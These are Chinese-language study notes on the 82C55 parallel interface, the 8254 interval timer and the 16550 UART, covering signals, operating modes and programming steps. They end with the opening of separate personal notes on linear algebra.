\(INTR\):当外部设备通过ACK信号接收到数据时,INTR信号会中断处理器。
- INTR信号在以下条件同时满足时被置位:INTE为"1"、ACK为"1"、OBF为"1"。
- 当处理器从端口读取数据后,INTR信号被清除。
\(INTE\):中断允许信号,既不是输入也不是输出信号,而是通过端口PC6(对应A口)或PC2(对应B口)的位置位进行编程设置的内部位。
Info
C口的PC4和PC5引脚是通用I/O引脚。可以使用位设置和复位指令来设置或复位这两个引脚。
Reading Port C Status¶
- 当C口在模式1下用作控制信号端时,可以通过读取C口的内容获取每个控制信号和总线状态信号。
- 读取C口的内容便于程序检测或验证各个外围设备的“状态”,并据此改变程序流程。
Example
打印机接口演示了如何实现打印机与82C55之间的选通信号输出同步。 下图展示了B口连接到并行打印机的方式,其中包括用于接收ASCII码数据的8位数据输入、用于将数据选通到打印机的\(\overline{DS}\)(数据选通)输入,以及用于确认收到ASCII字符的\(\overline{ACK}\)输出信号。
Combinations of Mode 1¶
A口和B口可以分别被设置为输入或输出,以支持选通信号输入/输出的应用。
Mode 2 Bidirectional Operation¶
模式2只能在A组上使用。
- A口变为双向口,允许通过同一组8根线收发数据。
- 这在两台计算机互联时非常有用。
- 该模式还常用于IEEE-488并行高速GPIB(通用仪器总线)接口标准中。
下图展示了模式2双向操作的内部结构和时序。
Signal Definitions for Mode 2 Bidirectional¶
INTR:中断请求,是一个输出信号,用于在输入或输出条件满足时中断微处理器。
\(\overline{OBF}\):输出缓冲器满,是一个输出信号,指示输出缓冲器中含有用于双向总线的数据。
\(\overline{ACK}\):应答信号,是一个输入信号,使三态缓冲器使能,从而数据可以出现在A口上。当ACK为逻辑1时,A口的输出缓冲器处于高阻态。
\(\overline{STB}\):选通信号输入,用于将外部双向A口总线上的数据加载到A口输入锁存器中。
IBF:输入缓冲器满,是一个输出信号,用于指示A口输入锁存器已经含有来自外部双向总线的数据。
INTE:中断允许,是内部的位(INTE1和INTE2),用于允许INTR引脚。INTR引脚的状态通过PC6(INTE1)和PC4(INTE2)控制。
PC0、PC1和PC2:这些引脚在模式2下为通用I/O引脚,通过位设定和复位命令进行控制。
Reading Port C Status¶
当C口在模式2中用作控制信号时,每个控制信号和总线状态信号都可以通过读取C口的内容获得。
- 读取C口的内容使程序能够检测或判断每个外设的“状态”,并据此改变程序流程。
The Bidirectional Bus¶
双向总线通过对A口使用IN和OUT指令进行操作。
- 要通过双向总线传送数据:
- 程序首先检测OBF(输出缓冲器满)信号,以确定输出缓冲器是否为空。
- 如果为空,则通过OUT指令将数据送入输出缓冲器。
- 数据只有在外部设备发来ACK(应答)信号后才会被输出到总线上。
- 外部电路同样监控OBF信号,以判断微处理器是否已向总线发送数据。
- 一旦输出电路检测到OBF为逻辑0,就会返回ACK信号以清除输出缓冲器。ACK信号会重新置位OBF位,并使三态输出缓冲器使能,从而可以读取数据。
例给出了一个通过A口发送AH寄存器内容的程序过程。
通过双向总线接收数据的过程如下:
- 用软件检测IBF(输入缓冲区满)标志,判断数据是否已经锁存进端口;
- 如果IBF = 1,则通过IN指令从端口读入数据;
- 外部接口通过STB(选通信号)将数据送入端口;
- 当STB有效时,IBF信号变为逻辑1,A口的数据被锁存器保存;
- 数据只有在CPU发送RD(读信号)后才会输出到数据总线上;
- 当执行IN指令时,IBF标志被清零,端口中的数据被转移到AL寄存器;
具体的A口数据读取过程如下。
INTR(中断请求)引脚可以在数据从总线的两个方向流动时被激活。
- 如果两个INTE位都使能了INTR,那么输出缓冲区和输入缓冲区都会引发中断请求。
- 这种情况发生在通过STB信号将数据锁存进缓冲区,或通过OUT指令写入数据时。
Combination of Mode 2 and Other Mode¶
When input in mode 2 for group A and in mode 1 for group B
Suammry
模式0提供基本的输入/输出。
- 输出数据需要锁存,输入数据则不需要锁存。
模式1提供带选通信号的输入/输出(选通I/O)。
- 输入和输出数据都需要锁存。
模式2提供双向输入/输出。
- 输入和输出数据都需要锁存。
这三种模式通过82C55的命令寄存器来选择。
8254 Programmable Interval Timer (PIT)¶
- 8254由三个独立的16位可编程计数器(定时器)组成。
- 每个计数器都可以进行二进制或二进制编码十进制(BCD)计数。
- 每个计数器的最大允许输入频率为10 MHz。
-
8254非常适合需要微处理器控制实时事件的场合,比如实时时钟、事件计数器,以及电机速度/方向控制等。
-
8254定时器在PC上通过端口40H–43H解码,对应以下功能:
- 定时器0产生18.2 Hz的信号,用于中断微处理器实现时钟节拍。
- 通常用于在DOS下为程序和事件计时。
- 定时器1被设置为15微秒,用于PC中请求DMA操作,以刷新动态RAM。
- 定时器2被用来在PC扬声器上产生音调信号。
Basic Functional Description¶
- 拥有三个独立的16位计数器
- 支持二进制或BCD码计数
- 提供六种可编程计数模式
- 支持计数器锁存命令
- 支持多个锁存命令,方便监控
- 能够处理从直流(DC)到10 MHz的输入信号
如图所示,8254是8253的高速版本,图中显示了其引脚分布和三个计数器之一的框图。
每个定时器包括:
- 一个 CLK 输入,用于为定时器提供基本的工作频率
- 一个 gate 输入引脚,在某些模式下用于控制定时器
- 一个输出(OUT)端,用于获取定时器的输出信号
8254 System Interface¶
与处理器相连的信号包括数据总线引脚(D7–D0)、\(\overline{RD}\)、\(\overline{WR}\)、\(\overline{CS}\) 以及地址输入A1和A0。
- 地址输入用于选择内部的四个寄存器之一,可用于对计数器进行编程、读出或写入操作。
\(\overline{CS}\)¶
片选信号用于使能8254,以进行编程操作或读写计数器。
A0 and A1¶
地址输入(A1 和 A0)用于选择 8254 内部的四个寄存器之一。关于 A1 和 A0 地址位的具体功能,请参见表。
CLK¶
时钟输入(CLK)是每个内部计数器的定时源。
G¶
门控(Gate)输入在某些工作模式下用于控制计数器的运行。
OUT¶
计数器的输出端(OUT)用于输出由定时器生成的波形信号。
\(\overline{RD}\)¶
读信号(Read)用于从8254中读取数据,通常与\(\overline{IORC}\)信号相连。
\(\overline{WR}\)¶
写操作会将数据写入8254,通常与写选通信号\(\overline{IOWC}\)相连。
GND¶
接地端(GND)连接到系统的地线总线。
VCC¶
电源(VCC)连接到+5.0 V 电源。
Example
READ 波形
WRITE 波形
Internal Block Diagram
Programming the 8254¶
每个计数器的编程都是通过写入一个控制字(control word)来实现的。
- 控制字用于选择计数器、操作模式以及操作类型(读/写)。
- 下图列出了程序控制字(control word)的结构。
- 控制字还可以选择计数的方式(二进制或BCD码)。
- 有两种写操作的约定:
- 对于每个计数器,必须先写入控制字,然后才能写入初值。
- 初值的写入格式(只写低字节、只写高字节,或先写低字节再写高字节)必须与控制字中指定的计数格式一致。
当写入控制字时,A1A0=11,\(\overline{CS}\)=0,\(\overline{WR}\)=0,\(\overline{RD}\)=1。
Maximum and Minimum Initial Count
最大初值为:
- 若为二进制计数,初值最大为 \(2^{16}\);
- 若为BCD计数,初值最大为 \(10^4\)。
最小初值为:
- 模式0、1、4、5时,最小初值为1;
- 模式2、3时,最小初值为2。
可以在任何时刻向计数器写入新的初值,而不会影响计数器已编程的工作模式。但计数行为会按照相应模式的定义发生变化。
在向同一计数器写入初值的高、低字节过程中,程序不应切换到其他也会向该计数器写入的子程序,否则可能导致加载错误的计数值。
由于控制字寄存器和三个计数器具有不同的地址(由A1和A0输入选择),且每个控制字都指定了其作用的计数器(通过SC0、SC1位),因此无需特殊的指令序列。只要按读/写操作规范进行编程,任意的操作顺序都是可接受的。
Example
在以下四个示例中,所有计数器均被设置为读/写两个字节的计数值。这仅是众多可用编程顺序中的四种。
这与数据库系统中的可序列化很像.
Modes of Operation¶
每个计数器有6种工作模式:
- 模式0:计数结束时产生中断
- 模式1:硬件可重触发单稳态
- 模式2:速率发生器(周期性的)
- 模式3:方波发生器(周期性的)
- 模式4:软件触发的选通信号
- 模式5:硬件触发的选通信号(可重触发)
每种模式都涉及时钟输入(CLK)、门控信号(GATE)和输出信号(OUT)的配合工作。
Operation Common to all modes¶
以下术语用于描述8254的运行:
- CLK脉冲:指计数器CLK输入端的上升沿紧接下降沿。(CLK pulse)
- GATE输入:用于控制计数器的工作状态。(GATE input)
- 触发(Trigger):对于GATE输入定义了两种触发事件:继续计数和重新开始计数。(Trigger)
-
计数器装载(Counter loading):将计数值从计数器寄存器(CR)传送到计数元件(CE)。
-
当向计数器写入控制字时:
- 所有控制逻辑立即复位;
- OUT信号置为已知的初始状态。
- 新的初始计数值在CLK脉冲的下降沿被装载,并从此开始递减。
关于触发方式:
- 在模式0、2、3、4中,GATE(门控信号)对电平敏感,用于决定计数器是否继续计数。
-
GATE输入在时钟脉冲(CLK)上升沿时被采样。
-
在模式1、2、3、5中,GATE对上升沿敏感,用于决定计数器是否重新开始计数。
- GATE信号的上升沿会在计数器内部设置一个对边沿敏感的触发器,该触发器会在下一个CLK的上升沿被采样,采样后该触发器被复位。
GATE信号触发机制详解
电平敏感(Level-Sensitive)模式:模式0、2、3、4
- 工作原理:GATE信号的电平状态(高电平或低电平)直接控制计数器的运行。
- 采样时机:在每个CLK时钟的上升沿,8254会采样GATE引脚的电平状态。
- 功能:决定计数器是否继续计数
- GATE = 高电平(1):允许计数器继续计数
- GATE = 低电平(0):暂停计数(计数器保持当前值不变)
- 特点:只要GATE保持有效电平,计数器就会持续工作;GATE变为无效电平时立即停止计数。
边沿敏感(Edge-Sensitive)模式:模式1、2、3、5
- 工作原理:GATE信号的上升沿(从低到高的跳变)触发特定操作。
- 内部机制:
- 当GATE出现上升沿时,8254内部会设置一个边沿敏感触发器
- 这个触发器下一个CLK上升沿被采样
- 采样后,触发器立即被复位(清零)
- 功能:决定计数器是否重新开始计数
- GATE上升沿触发后,计数器会重新装载初值并开始新的计数周期
- 特点:只对上升沿敏感,GATE保持高电平或低电平不会产生额外触发。
特殊说明:模式2和模式3
- 模式2和模式3同时支持电平敏感和边沿敏感两种机制:
- 电平敏感:用于控制计数器是否继续计数(GATE=0时暂停)
- 边沿敏感:用于触发计数器重新开始计数(GATE上升沿触发重新装载)
- 这使得模式2和3既能被GATE信号暂停/恢复,也能被GATE上升沿重新触发。
实际应用示例
- 模式0(电平敏感):GATE=1时计数,GATE=0时暂停,常用于需要外部控制计数启停的场景。
- 模式1(边沿敏感):GATE上升沿触发单稳态脉冲,常用于需要硬件触发定时器的场景。
- 模式⅔(双重机制):既能用GATE电平控制暂停,也能用GATE上升沿重新触发,常用于需要灵活控制的周期性信号生成。
- 当计数器计数到0时不会停止。
- 在模式0、1、4和5下,计数器会“回卷”到最大计数值(FFFF或9999),并继续计数。
- 在模式2和3下,计数器具有周期性:它会自动重新装载初值并继续计数。
Mode 0: Interrupt at the End of Count¶
用于将8254作为事件计数器(events counter)。
- 控制字(CW)写入后(WR信号上升沿),OUT信号变为低电平,并保持为低,直到计数器计数到零。
- 当计数器达到零时,OUT信号变为高电平,并一直保持为高,直到重新写入新的计数值或新的控制字。
- 在控制字和初始计数值被写入计数器之后的第一个CLK下降沿,初始计数值才会被装载(CR→CE)。
- 如果写入两字节的计数值,将发生以下情况:
- 写入第一个字节时,计数过程被禁止,OUT立即被置为低电平(无需等待时钟脉冲)。
- 写入第二个字节后,新计数值会在下一个CLK脉冲时装载。
- GATE输入(G):
- GATE = 1时允许计数;
- GATE = 0时禁止计数;
- GATE对OUT信号没有影响。
- 如果在计数过程中GATE变为低电平,计数器将暂停计数,直到GATE重新变为高电平计数才会继续。
Mode 1: Hardware Retriggerable One-Shot¶
模式1是一种**硬件可重触发的单稳态模式**,常用于需要硬件触发产生固定宽度脉冲的应用。
基本工作原理:
- 一个触发信号会在下一个时钟脉冲(CLK)到来时将计数器重新装载为初始值,单稳态脉冲可以在无需重新写入相同初始值的情况下被多次重复触发。
- 控制字(CW)写入后,OUT信号变为高电平并保持高电平。
- 当GATE信号出现**上升沿**(硬件触发)时,在下一个CLK上升沿,计数器会重新装载初值并开始递减计数。
- 在计数器递减期间,OUT信号变为低电平。
- 当计数器计数到0时,OUT信号重新变为高电平,完成一个单稳态脉冲周期。
GATE信号的作用(边沿敏感):
- GATE信号对**上升沿敏感**,用于触发计数器重新开始计数。
- GATE上升沿会在计数器内部设置一个边沿敏感触发器。
- 该触发器在下一个CLK上升沿被采样,采样后立即复位。
- 可重触发特性:在OUT为低电平期间(计数器正在计数),如果GATE再次出现上升沿,计数器会立即重新装载初值并重新开始计数,从而延长OUT低电平的持续时间。
OUT信号特性:
- OUT信号产生一个**单稳态脉冲**(monostable pulse),脉冲宽度 = 初始计数值 × CLK周期。
- 脉冲宽度由初始计数值决定,与GATE信号无关。
- 如果在脉冲期间再次触发GATE,脉冲宽度会被延长(可重触发特性)。
Mode2 rate generator (periodic)¶
模式2(分频器/周期发生器)功能类似于N分频计数器。
- OUT信号初始为高电平。
- 当初始计数值递减到1时,OUT变为低电平,仅持续一个时钟脉冲(占空比 = (N-1)/N)。
- GATE=1时允许计数,如果在输出低电平期间GATE变为低电平,OUT会立即恢复为高电平。
- 触发信号将在下一个时钟脉冲时将计数器重新装载初始值。
- 该过程会反复循环,直到计数器被编程为新的计数值或G端口被置为0。
Mode 3 square wave generator (periodic)¶
只要G引脚为高电平,OUT端将持续输出方波信号。
- OUT 初始为高电平;
- 计数初值为偶数时,占空比为 50%;
- 计数初值为奇数时,高电平持续 (N+1)/2 个时钟,低电平持续 (N-1)/2 个时钟;
- 占空比 = ½ 或 (N+1)/(2N)
Mode 4: Software-Triggered Strobe¶
OUT信号初始为高电平。当初始计数结束时,OUT会变为低电平,持续一个时钟脉冲,然后再次变为高电平。
- 在写入控制字和初始计数值后的第一个CLK下降沿,初始计数值会被装载(CR→CE)。
- 计数序列通过写入初始计数值“触发”,因此它是一个软件触发的单稳态工作方式。
- 每当CLK下降沿时,如果采样到的GATE为高电平,则计数器减一;否则计数器保持不变。
Mode 5: Hardware-Triggered Strobe (Retriggerable)¶
一个硬件触发的单稳态工作方式,其功能类似于模式4,不同之处在于该模式是由G引脚上的触发脉冲(上升沿)启动,而不是由软件启动。 - OUT初始为高电平。GATE端出现上升沿时开始计数。当初始计数结束时,OUT会变为低电平,维持一个CLK脉冲后再次变为高电平。 - 该模式也类似于模式1,因为它也是可重触发的。
Generating a Waveform with the 8254¶
上图展示了一个8254计数器连接在80386SX的I/O端口0700H、0702H、0704H和0706H上,从而实现方波和连续脉冲的产生。这些地址通过一个可编程逻辑器件(PLD)解码,同时PLD还为8254产生写选通信号,该信号连接到低位数据总线。
LD还为微处理器产生一个等待信号,在访问8254时会导致两个等待状态的插入。 下面给出了一个程序,用于在8 MHz输入时钟下,在OUT0端口产生100 KHz方波,在OUT1端口产生200 KHz连续脉冲。
- 计数器0采用模式3,计数初值为80(8M/100K)。
- 计数器1采用模式2,计数初值为40(8M/200K)。
计数初值的计算原理
8254计数器本质上是一个分频器,它将输入时钟频率分频后产生所需的输出频率。
分频公式:
因此,要得到特定的输出频率,计数初值的计算公式为: $$ \text{计数初值} = \frac{\text{输入时钟频率}}{\text{输出频率}} $$
本示例的计算过程:
-
输入时钟频率:8 MHz = 8,000,000 Hz
-
计数器0(模式3 - 方波发生器):
- 目标输出频率:100 KHz = 100,000 Hz
- 计数初值 = \(\frac{8,000,000}{100,000} = 80\)
-
计数器1(模式2 - 速率发生器):
- 目标输出频率:200 KHz = 200,000 Hz
- 计数初值 = \(\frac{8,000,000}{200,000} = 40\)
Reading a Counter¶
每个计数器都包含一个内部锁存器,可以通过读取计数器端口的操作来读取。
- 锁存器中的值通常会跟随计数值的变化。
读取计数器的方法有三种:
- 直接读取操作(Simple read)
- 使用计数器锁存命令(Counter latch command)
- 使用回读命令(Read-back command)
Simple read¶
要读取通过A1、A0引脚选中的计数器,必须利用GATE输入或外部逻辑禁止所选计数器的时钟(CLK)输入。否则,在读取时计数值可能正在变化,导致读取结果不确定。
Counter latch command¶
计数锁存命令(Count latch command)被写入控制字寄存器。SC0、SC1位用于选择三个计数器之一,D5、D4位设为00则表示计数锁存命令。
- 被选中的计数器的输出锁存器(OL)会在接收到计数锁存命令时,将当时的计数值锁存下来。该计数值会一直保持,直到被CPU读取(或该计数器被重新编程),之后锁存器会恢复为“跟随”计数器的状态。
必须按照计数器的编程格式读取计数值;特别是,如果计数器被设置为两字节计数方式,则必须读取两字节。
例如,若8254的计数器2被设置为两字节计数方式,则应通过端口号40H-43H读取两个字节的计数值。
Read-Back Command¶
当需要同时读取多个计数器的内容时,可以使用回读控制字(read-back control word)。
- 该命令允许用户检查所选定计数器的当前计数值、已设定的工作模式,以及OUT引脚和“空计数标志”(Null Count flag)的当前状态。
- “空计数标志”用于指示计数器是否已被正确初始化,或者是否已经向其写入了计数值。
如果一个计数器的计数值和状态都被锁存(Latched):
- 第一次读取操作会返回锁存的状态信息(status)。
- 接下来的第一次或两次读取将返回锁存的计数值(count)。
使用回读控制字时,通过将COUNT位设置为逻辑0,可以使被CNT0、CNT1和CNT2选中的计数器的数据锁存。如果需要锁存状态寄存器,同样需要将对应位设置为逻辑0。下图展示了状态寄存器,其中包含以下信息:
- 输出引脚的状态
- 计数器是否处于空状态(0)
- 计数器的编程方式
DC Motor Speed and Direction Control¶
脉宽调制(PWM)或占空比变化的方法因功率损耗较小,被广泛应用于直流电动机的速度控制。随着占空比增大,平均电流也随之增加,电机的转速也会提高。
通过使用H桥驱动,可以使直流电动机正转或反转。
- 四个开关(继电器或晶体管)以H型结构排列在直流电动机周围。
- 当开关S1和S4闭合时,电机正向(顺时针)转动;
- 当开关S2和S3闭合时,电机反向(逆时针)转动。
16550 PROGRAMMABLE COMMUNICATIONS INTERFACE¶
串行通信(Serial communication)是一种一次发送/接收一位数据的过程。
一些基本概念:
- 三种传输方式
- 串行通信的步骤
- 时钟与定时
- 同步与异步
Three modes of transmission¶
串行通信有三种工作模式:
- 单工(Simplex)模式:数据只能从发送端传输到接收端,不能反向传输。
- 半双工(Half duplex)模式:同一时刻数据只能在一个方向上传输。
- 全双工(Full duplex)模式:主机与从机之间可以同时进行数据的双向传输。
Clocks and Timing¶
在发送端,时钟用于驱动移位寄存器,将每一位数据按时序输出到物理层接口。在接收端,也需要一个时钟用于将数据按时序输入到接收移位寄存器。这个时钟必须能够识别每一位的时序。在实际应用中,最好是能识别位的中心点,因为这通常对应于信号能量最强的位置。
Synchronous and Asynchronous¶
有两种时钟定时方案:同步和异步。
- 在异步通信中,发送端和接收端不共享同一个时钟,而是各自按照预定的标称频率(称为波特率)运行。每一个数据位或者字符都需要单独同步。为了实现字节级的同步,必须使用起始位和停止位。
- 在同步通信中,发送端和接收端使用同步(保持相位一致)的时钟,通常借助专用的全局时钟(基于时钟的方法)或锁相环(主从方法)来恢复时钟信号。在同步通信中不需要使用起始位和停止位。
UART and USART¶
UART 和 USART 是将并行数据转换为串行数据的硬件设备。
- UART(通用异步收发器,Universal Asynchronous Receiver Transmitter)仅支持异步通信模式。
- USART(通用同步/异步收发器,Universal Synchronous Asynchronous Receiver Transmitter)既支持异步模式,也支持同步模式。
Signal encoding¶
不归零(NRZ,Non-return to zero)编码是一种常见的串行通信信号编码方式,广泛应用于同步和异步传输中。
Asynchronous Data Transfer Protocol¶
异步数据传输协议采用数据包的形式,每个数据包包括起始位、数据帧、奇偶校验位和停止位。
Baud Rate¶
串行通信中,一个波特就是一个比特
波特率(Baud rate)指的是每秒钟传输的比特数,用 bps(bits per second,位每秒)来衡量。
- “波特”这个单位是以法国工程师让-莫里斯-埃米尔·博多(Jean-Maurice-Emile Baudot)的名字命名的,他是异步电传打字机的发明者。
- 例如,在 9600 波特率(baud)的系统中,传输 1 位所需的时间为 1/(9600 bps) ≈ 104.2 微秒。
- 实际上传输系统每秒并不能传递 9600 位有意义的数据,因为还需要额外的时间传输控制位(例如起始位、停止位、校验位等)以及可能存在的字节间延迟。 在异步通信中,接收端的目标是利用其内部的波特率时钟(BCLK)在每个位周期的中间对数据进行采样。
接收端的 BCLK 频率通常远高于实际的波特率(可能是波特率的 8 倍、16 倍甚至 32 倍)。 这种对数据位进行“过采样”的倍数,称为波特率除数(baud rate divisor)。 公式为:BCLK = 波特率 × 波特率除数
UART 内部包含一个可编程的波特率发生器,它将输入时钟信号除以一定的分频系数,从而产生波特率时钟(BCLK)。
16550 PROGRAMMABLE COMMUNICATIONS INTERFACE¶
National Semiconductor公司的PC16550D是一款可编程通信接口,能够与几乎所有类型的串行接口相连。
- 16550是一种通用异步收发器(UART),并且与英特尔微处理器完全兼容。
Asynchronous Serial Data¶
- 异步串行数据的传输和接收不依赖于时钟或定时信号。
- 异步发送的数据格式如下:
- 首先发送一个起始位,始终为‘0’;
- 然后发送5到8位数据,最低有效位(LSB)先发送;
- 数据位后面可以跟一个奇偶校验位,用于差错检测;
- 最后,发送1位或多位停止位,将本字符与下一个字符分隔开。
Basic Functional Description¶
16550的工作速率范围为0–1.5 M波特(baud)。
- 波特率(baud rate)指的是每秒传输的比特数(bps,bits per second),包括起始位、停止位、数据位和奇偶校验位。
- bps 表示每秒比特数,Bps(大写B)表示每秒字节数。
- 16550芯片内置可编程波特率发生器,可以将输入时钟进行分频,产生波特率时钟(BCLK)。BCLK的频率是波特率的16倍(16×)。
- 在FIFO(先入先出)工作模式下,发送器和接收器各自都带有16字节的FIFO缓冲区,有助于CPU应对数据突发传输。
完全可编程的串行接口特性包括:
- 支持 5、6、7 或 8 位字符长度
- 支持偶校验、奇校验或者无校验位的生成与检测
- 支持 1、1.5 或 2 个停止位的生成
- MODEM 控制功能(CTS、RTS、DSR、DTR、RI 和 DCD)
- 状态报告(如奇偶校验错误、溢出、帧错误等)
- 诊断功能
- 伪起始位检测
- 断线(中断)生成与检测
图展示了16550 UART的引脚分布。
该器件有两种封装形式:40脚双列直插(DIP)和44脚塑封无引线载体(PLCC)。 芯片内部有两个完全独立的部分,分别负责数据通信:一个是接收器(receiver),另一个是发送器(transmitter)。 由于这两个部分彼此独立,16550能够工作于单工、半双工或全双工模式。
16550 的一个主要特点是其内部集成了接收和发送 FIFO(先进先出)缓冲区。
- 每个 FIFO 可存储 16 字节,因此 UART 只有在接收到 16 字节数据后才需要 CPU 进行服务。
- 发送器同样最多可暂存 16 字节数据,只有当发送 FIFO 满时,处理器才需要等待。
- FIFO 缓存的设计,使得 16550 非常适合与高速系统进行接口,因为对它的服务需求大大减少,提高了数据吞吐效率。
16550 还能控制调制解调器(modem,调制/解调器),后者是一种将 TTL 串行数据转换为音频信号以便通过电话线传输的设备。
16550 芯片上有六个用于调制解调器控制的引脚:\(\overline{DSR}\)(data set ready)、\(\overline{DTR}\)(data terminal ready)、\(\overline{CTS}\)(clear to send)、\(\overline{RTS}\)(request to send)、\(\overline{RI}\)(ring indicator)和 \(\overline{DCD}\)(data carrier detect)。
其中,调制解调器通常被称为数据设备(data set),而 16550 则称为数据终端(data terminal)。
16550 Pin Functions¶
A0, A1, A2¶
地址输入端(A0, A1, A2)用于选择芯片内部的寄存器,以便进行编程设置和数据传输操作。
注意,只有当线路控制寄存器(Line Control Register, LCR)的最高位,即分频锁存允许位(DLAB, Divisor Latch Access Bit)被设置为高电平时,才能访问波特率发生器的分频锁存器(Baud Generator Divisor Latches)。
\(\overline{ADS}\)¶
地址选通信号(ADS,Address Strobe)用于锁存地址线和片选线。当在一次读或写操作期间,A0、A1、A2 以及 CS0、CS1、CS2 信号无法始终保持稳定时,需要使用 ADS 输入端来锁存这些信号。
注意:ADS 引脚主要为摩托罗拉(Motorola)系列微处理器设计,在英特尔(Intel)系统中通常并不需要这个引脚。如果不需要使用 ADS,则应将其一直保持低电平(连接到地)。
CS0, CS1, \(\overline{CS2}\)¶
所有片选输入(CS0、CS1、\(\overline{CS2}\))必须全部处于有效状态,才能使 16550 UART 芯片被使能(启用)。
XIN,XOUT¶
这是主时钟连接端。在这两个引脚之间可以连接一个晶体,构成晶体振荡器;或者将 XIN 端连接到外部时钟源。
D0-D7¶
数据总线引脚(D0-D7)连接到微处理器的数据总线。
RD, \(\overline{RD}\)¶
在读操作期间,只需要有效的 RD 或 \(\overline{RD}\) 输入信号,即可从 16550 芯片传输数据。
WR, \(\overline{WR}\)¶
在写操作期间,只需要有效的 WR 或 \(\overline{WR}\) 输入信号,即可向 16550 芯片写入数据。
SIN ,SOUT¶
这些是串行数据信号引脚。SIN 用于接收串行数据,SOUT 用于发送串行数据。
\(\overline{BAUDOUT}\)¶
\(\overline{\text{BAUDOUT}}\) 引脚用于输出由发射部分的波特率发生器产生的时钟信号,该引脚通常连接到 RCLK(接收时钟输入)端,以便使接收器的时钟与发射器时钟保持一致。
RCLCK¶
接收时钟(Receiver clock)是输入到 UART 芯片接收部分的时钟信号。
MR¶
主复位(Master reset)用于初始化 16550 芯片,应当与系统的 RESET 信号相连接。
INTR¶
中断请求(Interrupt Request, INTR)是一个输出信号,用于向微处理器请求中断。当 16550 芯片出现接收错误、接收到数据或发送器为空时,INTR 信号会被置为高电平(INTR=1),以发出中断请求。
16550 Registers¶
下面是16550的模块图
Programming the 16550¶
编程分为两个阶段:
- 初始化(设置)
- 配置波特率发生器以获得所需的波特率
- 配置线路控制寄存器以设置传输参数(停止位数量、数据位数、奇偶校验位等)
- 操作阶段
- 清除发送器和接收器的 FIFO
- 进行实际通信
- 在 PC 上(使用 16550 或与其兼容的串口控制器),I/O 端口地址分别为 3F8H - 3FFH(COM 0)和 2F8H - 2FFH(COM 2)
Initialization (Setup)¶
- 硬件或软件复位后,初始化过程分为两个部分:
- 编程波特率发生器
- 编程线路控制寄存器
- 波特率发生器需要通过一个分频系数(divisor)进行编程,这个分频值决定了发送部分的波特率。
- 线路控制寄存器用来选择数据位数、停止位数,以及校验(是偶校验还是奇校验,或者校验位为1或0)。
- 线路控制寄存器通过向端口011(A2、A1、A0)输出信息进行设置。
- 最右边的两位(L1, L0)用于选择需要发送的数据位数(5、6、7或8位)。
- 停止位的数量由线路控制寄存器中的S位选择。
- 如果S = 0,则使用一个停止位;
- 如果S = 1,五位数据时使用1.5个停止位,六、七、八位数据时使用2个停止位。
停止位:当 S = 1 时,若数据位为 5 位则使用 1.5 个停止位,若数据位为 6、7 或 8 位则使用 2 个停止位。
- ST、P 和 PE 用于设置偶校验或奇校验、无校验,或者强制所有数据的校验位位置为 1 或 0。
SB = 1 时,会在 SOUT 上发送“中断”信号(break)。“中断”(break)指连续传输至少 2 帧全为 0 的数据。DL = 1 时,可以对波特率分频系数(baud rate divisor)进行编程设置。
Programming the Baud Rate¶
波特率发生器通过 I/O 地址 000 和 001(A2, A1, A0)进行编程。 - 端口 000 用于存放 16 位分频系数的低 8 位,端口 001 用于存放高 8 位。 - 分频系数的数值取决于外部时钟或晶振的频率。 - 例如,对于 18.432MHz 的晶振,设置分频系数为 10,473 可以获得 110 波特率,设置为 30 则可以获得 38,400 波特率。
在将线路控制寄存器和波特率分频系数编程写入 16550 后,芯片仍然还未准备就绪。 还必须在端口 010 对 FIFO 控制寄存器进行编程,该寄存器的第 0 位用于使能收发器(发送器和接收器),第 1 位和第 2 位用于清除发送和接收 FIFO。此外,该寄存器还提供了 16550 的中断控制功能。
下面展示了初始化过程的示例:
Sample Initialization¶
假设一个异步系统需要七位数据位、奇校验、9600 波特率和一个停止位。
- 给出了初始化 16550 以满足上述要求的过程。
- 展示了与 8088 微处理器的接口,使用 PLD 对 F0H 到 F7H 这 8 个端口地址进行译码。
示例将数值 7 写入 FIFO 控制寄存器。这将使能发送器和接收器,并清除发送和接收 FIFO。 此时 16550 已经准备好工作,但中断功能尚未使能。当系统 RESET 信号将 MR(主复位)输入置为逻辑 1 时,中断会被自动禁用。
Sending Serial Data¶
在串行数据发送或接收之前,我们需要了解线路状态寄存器的功能。
- 线路状态寄存器包含有关错误条件以及发送器和接收器状态的信息。
- 在发送或接收字节之前,都需要先检测该寄存器的状态。
下面列出了一个将 AH 寄存器内容发送到 16550 的过程。通过轮询 TH 位来判断发送器是否已准备好接收数据。
Receiving Serial Data¶
要从16550读取接收到的信息,需要检测线路状态寄存器中的DR位。
UART Errors¶
16550能够检测到的错误有奇偶校验错误、帧错误和溢出错误,这些错误在正常操作时不应发生。
- 奇偶校验错误表示接收到的数据奇偶性不正确。
- 如果发生奇偶校验错误,通常表示接收过程中遇到了噪声
- 帧错误表示起始位和停止位未处在正确的位置。
- 通常发生在接收端工作在错误的波特率时
- 溢出错误表示内部接收FIFO缓冲区发生溢出。
- 只在软件未及时从UART读取数据导致接收FIFO填满时才会发生
示例给出了一个检测DR位判断16550是否接收到数据的过程。
数据到达后,过程会检测是否有错误发生:
- 如果有错误(即FE,PE,OE不全为0,那么结果就不是0),过程会将ASCII的‘?’存入AL寄存器并返回
- 如果没有错误(即FE,PE,OE全为0,那么结果就是0),AL寄存器中返回的是接收到的字符
🔬 数学与物理
线性代数 (LINEAR-ALGEBRA)
线性代数个人笔记¶
约 309 个字 预计阅读时间 1 分钟
发点牢骚¶
线性代数一开始给我的感觉并没有十分令人喜欢,甚至上第一节课的时候还觉得这门课有些不知所云:解方程,解方程有什么好讲的。在上大学以前从没有接触过的代数结构以及许多抽象的描述也让我痛苦了有这么一会儿。
好像顿悟是一瞬间的事,盯着那些符号在一个想象中的"线性空间"变来变去,当他们具体化以后又能解决一个个实际的数学问题。这也太美了。
这个学期学完了线代二之后,似乎我就与这门课没什么交集了。但是我想把我学到的东西记下来,不忍让它们在我的脑海里随时间慢慢淡去
最后,感谢教授这门课的吴志祥老师,让我一步一步感受到线性代数的美妙。
吴爷爷:我这门课很简单,只有简单的加减乘除四则运算,甚至除法都不太需要.
也感谢竺可桢学院的辅学学长们以及特别鸣谢旷世巨作LALU
前置知识¶
约 2618 个字 预计阅读时间 9 分钟
基本的代数结构¶
吴爷爷在每节课末尾都会飙车,第一节课起飞的是群环域
代数系统是什么
代数系统
一般地,我们把一个非空集合 \(X\) 和在 \(X\) 上定义的若干代数运算 \(f_1,...,f_k\) 组成的系统称为代数系统(简称代数系),记作 \(<X:f_1,...,f_k>\)
